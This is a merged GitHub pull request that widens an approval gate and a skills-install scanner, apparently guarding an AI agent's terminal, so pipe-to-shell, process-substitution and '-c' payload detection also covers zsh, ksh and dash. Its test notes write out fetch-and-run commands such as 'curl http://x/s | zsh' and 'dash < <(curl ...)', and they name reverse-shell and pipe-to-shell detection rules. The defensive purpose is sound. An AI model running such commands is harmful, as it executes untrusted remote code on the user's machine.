Repository navigation
fix(approval): pipe-to-shell and -c payload detection covers zsh, ksh and dash everywhere (#116456, salvage #116457) - #116726
Merged
Conversation
The shell-name list was copied into six sites in approval_detection
with three different contents: the pipe-remote pattern accepted only
(?:ba)?sh so 'curl url | zsh' ran unflagged, while process
substitution, the shell heredoc rule, and the structural -c payload
scan each carried {bash,sh,zsh,ksh} and missed dash. Hoist one shared
_SHELL_NAMES alternation (bash|sh|zsh|ksh|dash, the shell members of
_SHELL_CARRIER_NAMES) used by all of them so the list cannot drift
between sites again.
tools/skills_guard.py had the same (ba)?sh drift in its own
curl_pipe_shell / wget_pipe_shell / echo_pipe_exec / bash_reverse_shell
patterns, so 'curl url | zsh' in a shipped install script scanned
clean; those now share the same alternation.
Related: #87362 widens the single pipe-remote pattern further
(fish/csh/tcsh, quoted/.exe/path-qualified spellings, sudo/env
prefixes). This change covers that defect too but also closes the
remaining drift in the five other sites and in skills_guard; the pipe
pattern line will need a rebase whichever lands second.
One parametrized matrix per shell (every remote-content site flags, benign mentions stay clean) plus the production-entry check through check_all_command_guards; the skills_guard copies fold into one per-shell test. Same coverage, fewer change-detectors.
૮ >ﻌ< ა ci reviewran on 36d755d — test: trim the shell-name coverage tests to two invariants debug infoCI timingsCI timings · View report · View jobWall time 5m45s vs 6m29s (-11.3%). 2 job(s) slower, 9 faster, 1 unchanged.
|
teknium1
deleted the
fix/b0919-L14-approval-env-security-shell-names
branch
September 20, 2026 07:07
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
curl url | zsh,dash < <(curl ...),dash -c '...'and their ksh spellings now reach the approval gate exactly like the bash/sh forms, in both the terminal guard and the skills-install scanner.tools/approval_detection.py: one shared_SHELL_NAMES/_SHELL_NAMES_RE(bash|sh|zsh|ksh|dash) used by the pipe-remote, process-substitution, decode-pipe, heredoc and structural-cpayload sites, replacing three divergent copies.tools/skills_guard.py: the same alternation incurl_pipe_shell,wget_pipe_shell,echo_pipe_exec,bash_reverse_shell.tests/tools/test_approval.py(per-shell matrix over every site + benign controls; production entry throughcheck_all_command_guardsreaching the approval callback) and 1 intests/tools/test_skills_guard.py.curl http://x/s | zsh/| ksh(False, None)(True, 'pipe remote content to shell')dash < <(curl http://x/s)(False, None)(True, 'execute remote script via process substitution')curl http://x/s | bashcat install.log | grep zsh,echo dash is fastcurl http://x/s | zsh[]['curl_pipe_shell']Root cause: the shell-name list was copied into six sites with three different contents.
Fixes #116456
Salvages #116457 (@beardthelion) — cherry-picked as authored (one keep-both conflict with the newer
_NOT_DELEGATEconstant inskills_guard.py); tests trimmed to two invariants in a follow-up commit. Related #87362 widens only the single pipe-remote line and stays open for its broader scope.Tests:
scripts/run_tests.sh tests/tools/test_approval.py tests/tools/test_skills_guard.py tests/tools/test_approval_mode_parity.py→ 227 passed.Dropped hunks
None (tests folded, not dropped).
Infographic